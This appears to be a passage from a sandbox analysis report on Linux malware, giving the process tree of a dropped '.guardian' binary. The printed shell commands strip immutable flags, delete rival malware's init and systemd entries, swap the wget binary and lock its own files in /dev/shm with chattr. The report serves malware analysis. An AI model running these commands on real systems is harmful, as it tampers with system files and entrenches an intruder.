                                                                                                                                                                                                                                                                                                                    rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:1494
                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                      rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                        PID:1495
                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                        rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:1496
                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                          rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                            PID:1497
                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                            rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                              PID:1498
                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                            sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                              PID:1499
                                                                                                                                                                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                  PID:1500
                                                                                                                                                                                                                                                                                                                            • /tmp/.guardian
                                                                                                                                                                                                                                                                                                                              .guardian vps
                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                              • Modifies Watchdog functionality
                                                                                                                                                                                                                                                                                                                              • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                              • Enumerates active TCP sockets
                                                                                                                                                                                                                                                                                                                              • Modifies init.d
                                                                                                                                                                                                                                                                                                                              • Modifies rc script
                                                                                                                                                                                                                                                                                                                              • Modifies systemd
                                                                                                                                                                                                                                                                                                                              • Changes its process name
                                                                                                                                                                                                                                                                                                                              • Reads system network configuration
                                                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                                                              • Writes file to shm directory
                                                                                                                                                                                                                                                                                                                              • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                              PID:908
                                                                                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                                                                                sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                  PID:925
                                                                                                                                                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                    chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                    • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                    PID:926
                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                    rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                      PID:927
                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                        PID:928
                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                        rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                          PID:929
                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                            PID:930
                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                              PID:931
                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                            sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                            PID:932
                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                              rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                PID:933
                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                  PID:934
                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                  rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                    PID:935
                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                    rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                      PID:936
                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                      rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                        PID:937
                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                        rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                          PID:938
                                                                                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                                                                                        sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                          PID:939
                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                            chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                              PID:940
                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                            sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                            • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                            PID:1079
                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                              chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                PID:1080
                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:1081
                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                  rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:1082
                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                    rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:1083
                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:1084
                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                        rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:1085
                                                                                                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                        sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                        PID:1086
                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                          rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:1087
                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                            rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:1088
                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                              rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:1089
                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:1090
                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                  rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:1091
                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                    rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:1092
                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                    sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:1093
                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                        chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                        • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                        PID:1094
                                                                                                                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                      sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                      • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                      PID:1175
                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                        chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                        • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                        PID:1176
                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                        rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:1177
                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:1178
                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:1179
                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:1180
                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:1181
                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                PID:1182
                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:1183
                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:1184
                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:1185
                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:1186
                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:1187
                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:1188
                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                            sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:1189
                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1190
                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1289
                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                    chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1290
                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1291
                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1292
                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1293
                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1294
                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1295
                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                            sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1296
                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1297
                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1298
                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1299
                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1300
                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1301
                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1302
                                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                        sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1303
                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                            chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1304
                                                                                                                                                                                                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                          sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1399
                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                            chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
